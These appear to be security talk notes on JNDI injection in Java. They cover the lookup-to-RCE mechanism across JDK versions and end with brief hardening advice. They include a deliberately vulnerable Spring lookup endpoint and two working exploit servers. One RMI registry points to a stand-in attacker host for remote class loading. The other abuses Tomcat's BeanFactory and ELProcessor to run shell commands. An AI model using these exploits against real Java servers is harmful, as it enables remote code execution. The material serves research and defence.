[!NOTE] The only risk level higher than CVSS 10.0 is having a logo and a Wiki article for a vulnerability.
What is JNDI again?
boring and long definition:
Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
URL examples:
ldap://tenendo.com:389/cn=homedir,cn=Me,ou=People,o=JNDIExample
rmi://tenendo.com:1234/neohope/jndi/test01
JNDI injections in the past
nice sum-up articles/presentations:
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
Offensive use of JNDI
- InitialContext.lookup sink to RCE
- deserialization gadget
- unsafe reflection
pre-JDK 1.8.0_121
core mechanism:
JNDI URL ->
javax.naming.Reference instance ->
unknown classFactory and attacker-controlled classFactoryLocation ->
URLClassLoader ->
RCE
Vulnerable example:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
pre-CVE-2018-3149
- LDAP instead of RMI
- the same mechanism
- how not to fix a vulnerability
JDK 1.8.0_191+
- classFactoryLocation is not used anymore
- javaFactory can still be attacker-controlled
- javaFactory is used to extract javax.naming.Reference
Tomcat exploitation example:
JNDI URL ->
javax.naming.Reference instance ->
BeanFactory ->
Reference to ELProcessor with a redefined setter ->
eval arbitrary string
exploit example:
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
Configuring JNDI
- whitelisting hosts
- whitelisting class names and factory names
- restricting JNDI URL protocols